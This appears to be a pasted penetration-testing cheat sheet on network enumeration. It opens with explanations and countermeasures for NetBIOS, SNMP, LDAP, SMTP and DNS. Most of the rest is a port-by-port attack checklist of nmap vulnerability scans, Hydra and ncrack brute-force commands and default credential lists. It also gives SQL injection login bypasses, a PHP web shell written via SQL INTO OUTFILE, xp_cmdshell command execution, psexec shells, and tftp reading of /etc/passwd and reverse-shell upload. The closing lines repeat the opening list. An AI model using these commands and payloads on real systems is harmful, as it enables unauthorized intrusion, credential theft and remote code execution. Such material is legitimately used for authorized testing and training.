Enumeration


SUBMITTED BY: DevilDawg

DATE: April 11, 2022, 8:25 a.m.

FORMAT: Text only

SIZE: 40.0 kB

HITS: 555

  1. 4. Enumeration
  2. After finding a vulnerability you will exploit it by enumeration. Enumeration is defined as the process of extracting user names, machine names, network resources, shares and services from a system. In this phase, the attacker creates an active connection to the system and performs directed queries to gain more information about the target. The gathered information is used to identify the vulnerabilities or weak points in system security and tries to exploit in the System gaining phase.
  3. Types of information enumerated by intruders:
  4. Network Resource and shares
  5. Users and Groups
  6. Routing tables
  7. Auditing and Service settings
  8. Machine names
  9. Applications and banners
  10. SNMP and DNS details
  11. Techniques for Enumeration
  12. Extracting user names using email ID's
  13. Extract information using the default password
  14. Brute Force Active Directory
  15. Extract user names using SNMP
  16. Extract user groups from Windows
  17. Extract information using DNS Zone transfer
  18. Services and Port to Enumerate
  19. TCP 53: DNS Zone transfer
  20. TCP 135: Microsoft RPC Endpoint Mapper
  21. TCP 137: NetBIOS Name Service
  22. TCP 139: NetBIOS session Service (SMB over NetBIOS)
  23. TCP 445: SMB over TCP (Direct Host)
  24. UDP 161: SNMP
  25. TCP/UDP 389: LDAP
  26. TCP/UDP 3368: Global Catalog Service
  27. TCP 25: Simple Mail Transfer Protocol (SMTP)
  28. NetBIOS Enumeration
  29. NetBIOS stands for Network Basic Input Output System. It Allows computer communication over a LAN and allows them to share files and printers.
  30. NetBIOS names are used to identify network devices over TCP/IP (Windows). It must be unique on a network, limited to 16 characters where 15 characters are used for the device name and the 16th character is reserved for identifying the type of service running or name record type.
  31. Attackers use the NetBIOS enumeration to obtain:
  32. List of computers that belong to a domain
  33. List of shares on the individual hosts on the network
  34. Policies and passwords
  35. Commands and tools used:
  36. Nbtstat: utility used to find protocol statistics, NetBIOS name table and name cache details
  37. Superscan: GUI tool used to enumerate windows machine
  38. Net view: command line tool to identify shared resources on a network
  39. SNMP Enumeration
  40. SNMP (Simple Network Management Protocol) is an application layer protocol which uses UDP protocol to maintain and manage routers, hubs and switches other network devices on an IP network. SNMP is a very common protocol found enabled on a variety of operating systems like Windows Server, Linux & UNIX servers as well as network devices like routers, switches etc.
  41. SNMP enumeration is used to enumerate user accounts, passwords, groups, system names, devices on a target system.
  42. It consists of three major components:
  43. Managed Device: A managed device is a device or a host (technically known as a node) which has the SNMP service enabled. These devices could be routers, switches, hubs, bridges, computers etc.
  44. Agent: An agent can be thought of as a piece of software that runs on a managed device. Its primary job is to convert the information into SNMP compatible format for the smooth management of the network using SNMP protocol.
  45. Network Management System (NMS): These are the software systems that are used for monitoring of the network devices.
  46. An agent running on every SNMP device will be providing access to a read and writable database. The database is referred to as the management information base (MIB) which is organized hierarchically and is a virtual database containing a formal description of all the network objects identified by a specific object identifier (OID) that can be managed using SNMP. It's a giant repository of values and settings. There is a manager involved in the process, and the manager will query the agent for various details.
  47. Community strings is a text string used to authenticate communications between the management stations and network devices on which SNMP agents are hosted. Community Strings travel in clear text over the network, hence are subject to network sniffing attacks. Community Strings are sent with every network packet exchanged between the node and management station.
  48. Two types of community strings:
  49. Read only: This mode permits querying the device and reading the information, but does not permit any kind of changes to the configuration. The default community string for this mode is “public.”
  50. Read Write: In this mode, changes to the device are permitted; hence if one connects with this community string, we can even modify the remote device ’s configurations. The default community string for this mode is “private.”
  51. when the community strings are left at the default settings, attackers take the opportunity and find the loopholes in it.
  52. Few tools:
  53. OpUtils Network Monitoring Toolset - http://www.manageengine.com
  54. SolarWinds ( best SNMP enumeration tool) - www.solarwinds.com
  55. command line tools: SNMP-WALK, SNMP-CHECK
  56. Countermeasures:
  57. Remove or disable SNMP agents on hosts
  58. Block port 161 at all perimeter network access devices
  59. Restrict access to specific IP addresses
  60. Use SNMPv3 (more secure)
  61. Implement the Group Policy security option called "Additional restrictions for anonymous connections"
  62. Access to null session pipes, null session shares, and IPsec filtering should also be restricted
  63. LDAP Enumeration
  64. The Lightweight Directory Access Protocol is a protocol used to access directory listings within Active Directory or from other Directory Services. A directory is usually compiled in a hierarchical and logical format, rather like the levels of management and employees in a company. LDAP tends to be tied into the Domain Name System to allow integrated quick lookups and fast resolution of queries. LDAP generally runs on port 389 and like other protocols tends to usually conform to a distinct set of rules (RFC's). It is possible to query the LDAP service, sometimes anonymously to determine a great deal of information that could glean the tester, valid usernames, addresses, departmental details that could be utilised in a brute force or social engineering attack.
  65. Tools:
  66. Jxplorer - http://www.jxplorer.org/
  67. LDAP Admin Tool - http://www.ldapsoft.com
  68. Countermeasures:
  69. Use NTLM or Basic authentication to limit access to known users only.
  70. By default, LDAP traffic is transmitted unsecured; use SSL technology to encrypt the traffic.
  71. Select a username different from your email address and enable account lockout.
  72. NTP Enumeration
  73. The Network Time Protocol is a protocol for synchronizing time across your network, this is especially important when utilizing Directory Services. There exists a number of time servers throughout the world that can be used to keep systems synced to each other. NTP utilizes UDP port 123. Through NTP enumeration you can gather information such as lists of hosts connected to NTP server, IP addresses, system names, and OSs running on the client system in a network. All this information can be enumerated by querying NTP server
  74. SMTP Enumeration
  75. The Simple Mail Transport Protocol is used to send email messages as opposed to POP3 or IMAP which can be used to both send and receive messages. SMTP relies on using Mail Exchange (MX) servers to direct the mail to via the Domain Name Service, however, should an MX server not be detected, SMTP will revert and try an A or alternatively SRV records. SMTP generally runs on port 25.
  76. SMTP enumeration allows us to determine valid users on the SMTP server. This is done with the help built-in SMTP commands, they are
  77. VRFY - This command is used for validating users.
  78. EXPN - This command tells the actual delivery address of aliases and mailing lists.
  79. RCPT TO - It defines the recipients of the message.
  80. Tool:
  81. NestScanTools Pro
  82. Countermeasures:
  83. Configure SMTP server either to ignore email messages to unknown recipients.
  84. Don’t include information like mail relay systems being used, Internal IP address or host information.
  85. Disable open relay feature.
  86. DNS Enumeration
  87. DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target systems. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses.
  88. DNS Zone Transfer used to replicate DNS data across a number of DNS servers or to back up DNS files. A user or server will perform a specific zone transfer request from a ―name server. If the name server allows zone transfers by an anonymous user to occur, all the DNS names and IP addresses hosted by the name server will be returned in human-readable ASCII text.
  89. Tools:
  90. nslookup
  91. maltego
  92. dnenum
  93. dnsrecon
  94. Countermeasures:
  95. Disable Zone transfer by untrusted hosts
  96. Ensure that private hostnames are not referenced to IP addresses within the DNS zone files of publicly accessible DNS servers.
  97. Use premium registration services.
  98. Scanning
  99. NMAP TCP quick
  100. > sudo nmap -Pn -v -sS -sV -sC -oN tcp-quick.nmap IP
  101. NMAP TCP Full
  102. > sudo nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN tcp-full.nmap -sV IP
  103. NMAP TCP - Repeat if extra ports found
  104. > sudo nmap -Pn -v -sS -A -oN tcp-extra.nmap -p PORTS IP
  105. NMAP UDP quick
  106. > sudo nmap -Pn -v -sU -sV --top-ports=30 -oN udp-quick.nmap IP
  107. NMAP UDP 1000
  108. > sudo nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T4 -oN udp-1000.nmap IP
  109. NMAP UDP - Repeat if extra ports found
  110. > sudo nmap -Pn -sU -A -oN udp-extra.nmap -p PORTS IP
  111. Enumeration
  112. FTP - Port 21
  113. Check for FTP version vulns
  114. Check for Anonymous login
  115. Check for Read access
  116. Check for Web root or root directories of any other accessible service
  117. Check for write access
  118. SSH - Port 22
  119. Check for SSH version vulns
  120. Check for User enumeration if necessary
  121. Check if host key was seen somewhere else
  122. Check if it prompts for a password - means password login is allowed for some users
  123. nmap -sV --script=ssh-hostkey -p22 IP
  124. Bruteforce if necessary with CeWL, Hydra, Patator, Crowbar, MSF (if port gets filtered, there's defense mechanisms - fail2ban)
  125. Telnet - Port 23
  126. Connect and check for service running
  127. SMTP - Port 25
  128. Check for SMTP vulns Check version with HELO / HELLO
  129. POP - PORT 110
  130. Connect using telnet
  131. user <username>
  132. pass <pass>
  133. LIST - to list emails
  134. RETR <email numbr> - To retrieve emails
  135. DNS - Port 53
  136. Might indicate a domain controller on Windows
  137. Check for zone transfer -
  138. Kerberos - Port 88
  139. Indication that its a DC
  140. Netbios - Port 139
  141. > nmblookup -A IP
  142. > nbtscan IP
  143. > On older hosts, this port servers SMB / SAMBA, scan by adding 'client min protocol = LANMAN1' to GLOBAL setting in /etc/samba/smb.conf or by using --option='client min protocol'=LANMAN1 with smbclient
  144. RPC - PORT 135
  145. > sudo nmap -sS -Pn -sV --script=rpcinfo.nse -p135 0
  146. > rpcinfo IP
  147. > rpcclient -U "" -N [ip]
  148. LDAP - Ports 389,636,3268,326
  149. > sudo nmap -sS -Pn -sV --script=ldap* -p389,636,3268,3269
  150. WEB - PORT 80 / 443
  151. NMAP Web
  152. > sudo nmap -Pn -sC -p80,443
  153. Checks
  154. Browse the webapp
  155. Check for usernames, keywords
  156. Check Web server vulns
  157. Check for Cgi's shellshock
  158. Check Certificates for hostname
  159. Check robots.txt
  160. Check sitemap.xml
  161. Check for known software - View source
  162. Check for default credentials
  163. Check for input validation - SQLi
  164. Check for OS Command execution
  165. Check for LFI / RFI
  166. Dirb
  167. > dirb IP
  168. > dirb with -X extensions based on web technology, .php,.asp,.txt,.jsp
  169. > dirb IP -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
  170. Gobuster
  171. > gobuster dir --url IP --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt
  172. > gobuster dir --url IP --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -k -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
  173. Nikto
  174. > nikto -host IP
  175. SMB - Ports
  176. NMAP vuln scripts
  177. > sudo nmap -Pn --script=smb-proto* -p139,445
  178. > sudo nmap -Pn --script=smb-os-discovery.nse -p139,445
  179. > sudo nmap -Pn --script=smb-enum* -p139,445
  180. > sudo nmap -Pn --script=smb-vuln* -p139,445
  181. > nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse
  182. Check for Null logins
  183. > nmap --script smb-enum-shares -p 139,445
  184. > smbclient -L \\\\ip\\ -N
  185. > smbclient -m=SMB2 -L \\\\Hostname\\ -N
  186. Connect to a share with Null session
  187. > smbclient \\\\IP\\$Admin -N
  188. > smbmap -H IP
  189. > smbmap -u DoesNotExists -H IP
  190. > enum4linux -a IP
  191. Check permissions on a connect share
  192. > smb: \> showacls # enable acl listing
  193. > smb: \> dir # list directories with acls
  194. Mount share on local machine
  195. > sudo mount -t cifs //10.10.10.134/SHARENAME ~/path/to/mount_directory
  196. List share with credentials
  197. > smbmap -u USERNAME -p PASSWORD -d DOMAIN.TLD -H <TARGET-IP>
  198. Recursively list all files in share
  199. > smbmap -R -H <TARGET-IP>
  200. > smbmap -R Replication -H <TARGET-IP>
  201. With smbclient (recurse downloads all files)
  202. > smbclient //<TARGET-IP>/Replication
  203. > smb: \> recurse ON
  204. > smb: \> prompt OFF
  205. > smb: \> mget *
  206. Upload / Download specific files
  207. > smbmap -H <TARGET-IP> --download 'Replication\active.htb\
  208. > smbmap -H <TARGET-IP> --upload test.txt SHARENAME/test.txt
  209. NFS - Port 2049
  210. > showmount -e IP
  211. > mount -t nfs -o vers=3 10.1.1.1:/home/ ~/home
  212. > mount -t nfs4 -o proto=tcp,port=2049 127.0.0.1:/srv/Share mountpoint
  213. TFTPD - UDP 69
  214. > tftp client to connect
  215. > atftp is a better client
  216. > Can be used to read system files, MSSQL password mdf file
  217. Finding exploits
  218. Search on EDB and searchsploit
  219. Check each service on CVE details for RCE / LFI / RFI / SQLI issues
  220. Google search the with the service banner
  221. NETWORK ENUMERATION
  222. Network enum - Ports
  223. A quick checklist for possible attack vectors through the different ports
  224. TCP
  225. 21 - FTP
  226. Checks
  227. Check if you have anonymous access
  228. Check if you can upload a file to trigger a webshell through the webapp
  229. Check if you can download backup files to extract included passwords
  230. Check the version of FTP for exploits
  231. Commands
  232. Login to ftp server (for anonymous access, use "anonymous":"anonymous")
  233. ftp $ip
  234. FTP specific nmap scan
  235. nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip
  236. Tip: Before starting scans, set a bash variable to the IP address you are scanning likeip=10.11.1.1.Then the $ip value in the commands of this cheat sheet will be filled in automatically.
  237. ​
  238. 22 - SSH
  239. Checks
  240. Try easy username-password combinations
  241. Check for username enumeration vulnerabilities
  242. Check version for vulnerabilities
  243. (Only when getting desperate) Try brute force with Hydra, Medussa, ...
  244. Commands
  245. Nmap scan
  246. nmap -p 22000 -sV -Pn -T4 --script=ssh* $ip
  247. Brute force
  248. hydra -v -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 $ip ssh
  249. hydra -l gibson -P /tmp/alpha.txt -T 20 $ip ssh
  250. Connect through found key
  251. #make key only accessible by the current user
  252. chmod 0600 private.key
  253. ssh user@$ip -i user.key
  254. ​
  255. 25 - SMTP
  256. Checks
  257. Check for user enumeration
  258. Check version for exploits
  259. Commands
  260. nmap scan
  261. nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
  262. user enumeration
  263. #manual way
  264. nc -nvv $ip 25
  265. VRFY root
  266. (exists if user is replied as "250 Georgia<Georgia@>")
  267. (doesn't exist if user is replied as "551 user not local")
  268. ​
  269. #automated way
  270. smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
  271. ​
  272. 80/443 - HTTP(S)
  273. Checks
  274. Login portals
  275. try the default credentials off the application
  276. try usernames already seen throughout the application or in other services like SMTP
  277. try SQL injection bypasses
  278. try registering a new user
  279. brute force with hydra, medusa, ...
  280. Check robots.txt for hidden directories
  281. Brute force directories to find hidden content
  282. Check for passwords/URLs/versions/... in comments of web app
  283. Check version numbers for known exploits
  284. Check changelog for version information
  285. Estimate version based on copyright date (if not automatically adjusted)
  286. Check if specific CMS is used like WordPress and then use platform specific scanners
  287. ways to RCE
  288. check for file upload functionalities (if uploads are filtered, try alternative extensions)
  289. execute commands through SQLi
  290. Shellshock
  291. command injection
  292. trigger injected code through path traversal
  293. Enumeration scans
  294. Directory brute force
  295. #start of with general scan
  296. gobuster dir -u $ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log -t 50
  297. #add extensions
  298. gobuster dir -u $ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log -t 100 -x php,txt,cgi,sh,pl,py -s "200,204,301,302,307,403,500"
  299. nmap scan
  300. nmap -sV -Pn --script=ssl-heartbleed,http-adobe-coldfusion-apsa1301.nse,http-apache-negotiation.nse,http-apache-server-status.nse,http-aspnet-debug.nse,http-auth-finder.nse,http-auth.nse,http-avaya-ipoffice-users.nse,http-awstatstotals-exec.nse,http-axis2-dir-traversal.nse,http-backup-finder.nse,http-barracuda-dir-traversal.nse,http-bigip-cookie.nse,http-brute.nse,http-cakephp-version.nse,http-cisco-anyconnect.nse,http-coldfusion-subzero.nse,http-comments-displayer.nse,http-config-backup.nse,http-cookie-flags.nse,http-cors.nse,http-cross-domain-policy.nse,http-csrf.nse,http-date.nse,http-default-accounts.nse,http-devframework.nse,http-dlink-backdoor.nse,http-dombased-xss.nse,http-domino-enum-passwords.nse,http-drupal-enum-users.nse,http-drupal-enum.nse,http-enum.nse,http-errors.nse,http-exif-spider.nse,http-feed.nse,http-fileupload-exploiter.nse,http-form-brute.nse,http-form-fuzzer.nse,http-frontpage-login.nse,http-git.nse,http-gitweb-projects-enum.nse,http-headers.nse,http-huawei-hg5xx-vuln.nse,http-iis-short-name-brute.nse,http-iis-webdav-vuln.nse,http-internal-ip-disclosure.nse,http-joomla-brute.nse,http-jsonp-detection.nse,http-litespeed-sourcecode-download.nse,http-ls.nse,http-majordomo2-dir-traversal.nse,http-mcmp.nse,http-method-tamper.nse,http-methods.nse,http-mobileversion-checker.nse,http-ntlm-info.nse,http-open-redirect.nse,http-passwd.nse,http-php-version.nse,http-phpmyadmin-dir-traversal.nse,http-phpself-xss.nse,http-proxy-brute.nse,http-put.nse,http-qnap-nas-info.nse,http-rfi-spider.nse,http-robots.txt.nse,http-security-headers.nse,http-server-header.nse,http-shellshock.nse,http-sitemap-generator.nse,http-sql-injection.nse,http-stored-xss.nse,http-svn-enum.nse,http-svn-info.nse,http-title.nse,http-tplink-dir-traversal.nse,http-trace.nse,http-traceroute.nse,http-trane-info.nse,http-unsafe-output-escaping.nse,http-useragent-tester.nse,http-userdir-enum.nse,http-vhosts.nse,http-vlcstreamer-ls.nse,http-vmware-path-vuln.nse,http-vuln-cve2006-3392.nse,http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,http-vuln-cve2015-1635.nse,http-vuln-cve2017-1001000.nse,http-vuln-cve2017-5638.nse,http-vuln-cve2017-5689.nse,http-vuln-cve2017-8917.nse,http-vuln-misfortune-cookie.nse,http-vuln-wnr1000-creds.nse,http-waf-detect.nse,http-waf-fingerprint.nse,http-webdav-scan.nse,http-wordpress-brute.nse,http-wordpress-enum.nse,http-wordpress-users.nse,http-xssed.nse,membase-http-info.nse -p 80 $ip
  301. webdav scanning
  302. davtest --url http://$ip
  303. davtest -move -sendbd auto -url http://$ip:8080/webdav/
  304. cadaver http://$ip:8080/webdav/
  305. Nikto scans
  306. nikto -host $ip | tee nikto.log
  307. Login portals
  308. brute force login portals
  309. #basic auth
  310. hydra -l user -P /usr/share/wordlists/rockyou.txt -f $ip http-get /path
  311. #login form
  312. hydra -L users.txt -P users.txt $ip http-post-form "<directory>:login_username=^USER^&secretkey=^PASS^&<rest of post request>:<error message>"
  313. #create custom password list
  314. cewl -w cewl_passlist.txt -d 5 10.11.1.39/otrs/index.pl
  315. Standard credentials you should try when being blocked by login portal
  316. admin:admin
  317. admin:password
  318. admin:administrator
  319. admin:(name of box)
  320. user:user
  321. user:password
  322. user:12345
  323. guest:guest
  324. root:root
  325. (name of box):(name of box)
  326. (default account):(name of application)
  327. Try SQL injections to bypass the login form
  328. ' or 1=1;--
  329. ' or '1'='1
  330. ' or 1=1;#
  331. ') or ('x'='x
  332. ' or <column> like '%';--
  333. ' or 1=1 LIMIT 1;--
  334. admin' --
  335. admin' #
  336. admin'/*
  337. ' or 1=1--
  338. ' or 1=1#
  339. ' or 1=1/*
  340. ') or '1'='1--
  341. ') or ('1'='1—
  342. ' or 1/*
  343. */ =1 --
  344. admin' or 'a'='a
  345. '#
  346. File upload
  347. Try alternative extensions for file uploads
  348. Php > upload as pHp / phP / test.php.jpg /
  349. php - phtml, .php, .php3, .php4, .php5, and .inc
  350. asp - asp, .aspx
  351. perl - .pl, .pm, .cgi, .lib
  352. jsp - .jsp, .jspx, .jsw, .jsv, and .jspf
  353. Coldfusion - .cfm, .cfml, .cfc, .dbm
  354. File traversal list
  355. Path Traversal Cheat Sheet: Windows | GracefulSecurity
  356. gracefulsecurity.com
  357. RCE through SQLi
  358. #Through file creation
  359. union all select "<?php echo shell_exec($_GET['cmd']);?>",2,3,4,5,6 into OUTFILE '/var/www/html/shell.php'
  360. #if running as database admin, use xp_cmdshell
  361. http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'
  362. '; exec master.dbo.xp_cmdshell 'command'
  363. #On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
  364. EXEC sp_configure 'show advanced options', 1;--
  365. RECONFIGURE;--
  366. EXEC sp_configure 'xp_cmdshell', 1;--
  367. RECONFIGURE;--
  368. #On MSSQL 2000:
  369. EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--
  370. If you use exploits for web apps but they don't work as expected: proxy network traffic through burp and see the sent requests
  371. ​
  372. 110 - POP3
  373. Checks
  374. Check version for exploits
  375. Check mails for the presence of credentials
  376. Commands
  377. manually login to the application
  378. #connect and check for banner
  379. telnet $ip 110
  380. #guess login credentials
  381. USER pelle
  382. PASS admin
  383. #list all emails
  384. list
  385. #retrieve email number 5 for example
  386. retr 5
  387. ​
  388. 111 - NFS/RPC
  389. Checks
  390. Check for passwords in files on mountable drives
  391. Commands
  392. #check general rpc info
  393. rpcinfo $ip
  394. ​
  395. #Check what shares you can mount
  396. showmount -e $ip
  397. ​
  398. #mounting the share
  399. #make the directory
  400. mkdir /mnt/share
  401. #mount the share
  402. mount -t nfs $ip:/share /mnt/share -nolock
  403. Keep mountable shares in mind as they might be used in root squashing attacks to elevate your privileges to root.
  404. 139/445 - SMB
  405. Checks
  406. Check for null sessions
  407. Check the permissions of users you already have
  408. Check for passwords in files
  409. Attempt brute force on enumerated users
  410. Check for EternalBlue
  411. Check samba version (if Linux)
  412. Commands (Automated)
  413. nmap scan
  414. #general scan
  415. nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse $ip -p 445
  416. ​
  417. #vulnerability scan
  418. nmap --script smb-vuln* -p 445 -oA nmap_smb_vulns $ip
  419. Check samba versions
  420. #save code below as samba_version.sh and make it executable
  421. ./samba_version.sh
  422. if [ -z $1 ]; then echo "Usage: ./samba_version.sh RHOST {RPORT}" && exit; else rhost=$1; fi
  423. if [ ! -z $2 ]; then rport=$2; else rport=139; fi
  424. tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$$"
  425. echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
  426. sleep 0.5 && echo ""
  427. enum4linux
  428. enum4linux -a $ip
  429. smbmap
  430. #list general folders
  431. smbmap -H $ip
  432. ​
  433. #recursively list dirs and files
  434. smbmap -R $sharename -H $ip
  435. smbmap -R "Users" -H $ip -u Guest
  436. ​
  437. #download a file
  438. smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q
  439. CrackMapExec
  440. #check if you can connect through null sessions (check what rights you have on the shares)
  441. cme smb $ip -u '' -p '' --shares
  442. cme smb $ip -u '' -p '' --shares --port 139
  443. #enumerate the users
  444. #rid brute forcing
  445. cme smb $ip -u "" -p "" --rid-brute
  446. #active sessions
  447. cme smb $ip -u '' -p '' --loggedon-users
  448. #users in general
  449. cme smb $ip -u '' -p '' --users
  450. ​
  451. #enumerate the groups
  452. #local groups
  453. cme smb $ip -u '' -p '' --local-groups
  454. #domain groups
  455. cme smb $ip -u '' -p '' --groups
  456. ​
  457. #check for the password policy
  458. cme smb $ip -u "" -p "" --pass-pol
  459. mount shares and inspect files manually
  460. #smbclient
  461. smbclient -L $ip
  462. smbclient //$ip/tmp
  463. smbclient \\\\192.168.1.105\\ipc$ -U john
  464. smbclient //$ip/ipc$ -U john
  465. ​
  466. #mounting the share
  467. mkdir /mnt/targetshare
  468. mount -t cifs \\172.16.20.88\ipc$ -o username=[username] /mnt/targetshare
  469. brute force smb
  470. hydra -l Administrator -P /usr/share/seclists/Passwords/darkweb2017-top100.txt $ip smb -V -f
  471. #in OSCP the passwords are often equal to the username
  472. hydra -L usernames.txt -P usernames.txt $ip smb -V -f
  473. Gaining shell through psexec (user needs to be admin)
  474. #copy script
  475. cp /usr/share/doc/python-impacket/examples/psexec.py .
  476. ​
  477. #specific command test
  478. python psexec.py <username>:<pass>@10.11.1.227 whoami
  479. ​
  480. #shell
  481. rlwrap python psexec.py <username>:<pass>@10.11.1.227
  482. ​
  483. #NOTE: be carefull with exclamation marks in passwords: rottenadmin:P@ssword123\!@192.168.194.140
  484. ​
  485. #through crackmapexec (didn't always work for me)
  486. cme smb 10.11.1.227 -u "backup" -p "backup" -x whoami
  487. 1433 - MSSQL
  488. Checks
  489. Try default credentials "sa:password"
  490. Brute force creds
  491. Check database content for new passwords
  492. Check version for exploits
  493. RCE
  494. through xp_cmdshell functionality
  495. through injecting payload in output file, placing it in webroot and triggering it through webapp
  496. Commands
  497. nmap
  498. nmap -p 1433 --script='banner,(ms-sql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)' $ip -o 1433_nmap_mssql
  499. credential brute force
  500. nmap -p 1433 --script ms-sql-brute --script-args passdb=/usr/share/seclists/Passwords/darkweb2017-top1000.txt $ip
  501. manually logging in and gaining shell
  502. #login
  503. sqsh -S $ip -U sa -P password
  504. sqsh -S $ip:27900 -U sa -P password
  505. ​
  506. #execute commands
  507. xp_cmdshell 'date'
  508. go
  509. ​
  510. 3306 - MySQL
  511. Checks
  512. Try default credentials "root":""
  513. Brute force credentials
  514. Check database content for new passwords
  515. Check version for exploits
  516. Commands
  517. nmap
  518. nmap -sV -Pn --script=mysql-audit.nse,mysql-brute.nse,mysql-databases.nse,mysql-dump-hashes.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-query.nse,mysql-users.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse -p 3306 -o 3306_nmap_mysql $ip
  519. try default password
  520. mysql --host=$ip -u root -p
  521. ​
  522. 3389 - RDP
  523. Checks
  524. Check if you can login with default guest account and blank password
  525. Check if you can brute force users
  526. Check for BlueKeep
  527. Commands
  528. nmap
  529. nmap -p 3389 --script=rdp-enum-encryption,rdp-vuln-ms12-020 $ip -o 3389_nmap_rdp
  530. manually login
  531. rdesktop $ip
  532. ​
  533. #Try default guest account "guest":""
  534. rdesktop -u guest $ip -g 94%
  535. Start brute force
  536. ncrack -vv --user Administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
  537. ncrack -vv --user Administrator -P /usr/share/seclists/Passwords/darkweb2017-top100.txt rdp://$ip
  538. 5900 - VNC
  539. Checks
  540. check for easy VNC passwords
  541. check for exploits for VNC version
  542. brute force VNC password
  543. Commands
  544. nmap
  545. nmap -sV -Pn -p 5900 --script=vnc-info,vnc-title,realvnc-auth-bypass $ip -oA 5900_nmap_VNC
  546. VNC brute force on base password
  547. hydra -s 5900 -P /usr/share/seclists/Passwords/darkweb2017-top10.txt -t 30 $ip vnc
  548. ​
  549. UDP
  550. 53 - DNS
  551. Checks
  552. Try zone transfer
  553. Brute force subdomains
  554. Commands
  555. do DNS lookup specifying the DNS server
  556. nslookup
  557. #set nameserver to ip of box
  558. > server 10.10.10.13
  559. #ask for dns of box ip address
  560. > 10.10.10.13
  561. subdomain enumeration / brute force
  562. dig axfr @$ip test.htb
  563. fierce -dns ext.recon.lan -dnsserver 172.16.90.53
  564. gobuster dns -d ext.recon.lan -r 172.16.90.53 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
  565. ​
  566. 69 - TFTP
  567. Checks
  568. search for files to find sensitive info like passwords
  569. upload shells to trigger them in web app
  570. Commands
  571. nmap
  572. nmap -sU -p 69 --script tftp-enum.nse $ip
  573. Interact with TFTP protocol
  574. #setup the connection
  575. tftp 172.16.200.100
  576. #get a file
  577. tftp> get /etc/passwd
  578. #upload reverse shell
  579. tftp> put shell.php
  580. automated search sensitive files (Metasploit)
  581. msfconsole
  582. use tftpbrute
  583. set dictionary /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
  584. 161 - SNMP
  585. Checks
  586. Try the default community strings 'public' and 'private'
  587. Enumerate version of OS/ users /processes
  588. Commands
  589. nmap
  590. nmap -sU -p161 --script "snmp-*" $ip
  591. scan range of ip addresses for snmp strings
  592. #only try "public" and "private"
  593. onesixtyone -i targets.list
  594. ​
  595. #try 100+ community strings
  596. onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $ip
  597. enumerate information with known community string
  598. # enumerate windows users
  599. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
  600. # enumerates running processes
  601. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.
  602. Types of information enumerated by intruders:
  603. Network Resource and shares
  604. Users and Groups
  605. Routing tables
  606. Auditing and Service settings
  607. Machine names
  608. Applications and banners
  609. SNMP and DNS details
  610. Techniques for Enumeration
  611. Extracting user names using email ID's
  612. Extract information using the default password
  613. Brute Force Active Directory
  614. Extract user names using SNMP
  615. Extract user groups from Windows
  616. Extract information using DNS Zone transfer
  617. Services and Port to Enumerate
  618. TCP 53: DNS Zone transfer
  619. TCP 135: Microsoft RPC Endpoint Mapper
  620. TCP 137: NetBIOS Name Service
  621. TCP 139: NetBIOS session Service (SMB over NetBIOS)
  622. TCP 445: SMB over TCP (Direct Host)
  623. UDP 161: SNMP
  624. TCP/UDP 389: LDAP
  625. TCP/UDP 3368: Global Catalog Service
  626. TCP 25: Simple Mail Transfer Protocol (SMTP)
